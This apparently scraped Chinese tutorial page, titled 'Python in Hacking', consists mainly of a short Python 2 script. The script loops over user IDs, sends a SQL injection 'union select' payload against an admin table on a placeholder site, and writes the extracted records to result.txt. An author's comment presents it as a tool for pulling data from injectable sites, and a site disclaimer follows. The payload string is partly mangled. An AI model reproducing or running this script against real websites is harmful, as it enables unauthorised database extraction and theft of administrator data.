Python in Hacking[Ge
短信预约 -IT技能 免费直播动态提醒
- #!/usr/bin/python
- # -*- coding:utf-8 -*-
-
- import urllib2
- import re
- import string
- from sgmllib import SGMLParser
- class getTitle(SGMLParser):
- istitle = 0
- name = []
- def reset(self):
- SGMLParser.reset(self)
- def start_title(self,attrs):
- self.istitle = 1
- def end_title(self):
- self.istitle = 0
- def handle_data(self,data):
- if self.istitle:
- self.name.append(data)
- index=0
- for count in xrange(18680,18690):
- url = "http://www.xxx.com/sqlin.php?id=1and1=1unionselect*fromadmin**/whereuid="+str(count)+"--"
- req = urllib2.Request(url)
- fd = urllib2.urlopen(req)
- text = fd.read(2048)
- if not len(text):
- print "Nothing be getted..."
- else:
- title = getTitle()
- title.feed(text)
- mark=title.name[index].find('-')
- print title.name[index][:mark]+"has been write into result.txt"
- fi=file("result.txt","a")
- fi.writelines(title.name[index][:mark])
- fi.writelines("\n")
- index+=1
-
- fi.close()
Pnig0s:This program is used to get data from a website which have a SQLInjection and write them to files.very smiple.
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341